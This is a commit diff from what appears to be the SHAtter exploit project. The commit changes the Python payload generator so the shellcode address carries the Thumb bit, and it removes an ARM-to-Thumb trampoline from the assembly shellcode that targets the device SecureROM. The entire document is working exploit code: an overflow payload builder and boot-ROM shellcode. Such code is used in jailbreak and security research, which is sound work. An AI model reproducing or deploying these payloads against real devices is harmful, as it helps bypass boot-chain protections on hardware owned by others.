SHAtter can use Thumb mode directly

TNTwebwiz · May 30, 2017 · 6818953 · 6818953
1 parent a3b3985
commit 6818953
Show file tree

Hide file tree

Showing 3 changed files with 1 addition and 6 deletions.
diff --git a/SHAtter.py b/SHAtter.py
@@ -2,7 +2,7 @@
 import dfu
 
 def generate_payload():
-    shellcode_address = 0x8402F1D8
+    shellcode_address = 0x8402F1D8 + 1
     data = struct.pack('<4s2I92sI', 'DATA'[::-1], 12 + 96, 96, '\xF0' * 92, shellcode_address)
     shsh = struct.pack('<4s2I',     'SHSH'[::-1], 12, 0)
     cert = struct.pack('<4s2I',     'CERT'[::-1], 12, 0)

diff --git a/bin/SHAtter-shellcode.bin b/bin/SHAtter-shellcode.bin
diff --git a/src/SHAtter-shellcode.S b/src/SHAtter-shellcode.S
@@ -40,11 +40,6 @@
 
 _start: .global _start
 
-.code 32
-    MOV R0, PC
-    ADD R0, R0, #5
-    BX R0                                       /* ARM -> Thumb trampoline */
-
 .code 16
     MOV R0, #0
     LDR R1, =SECUREROM_ADDRESS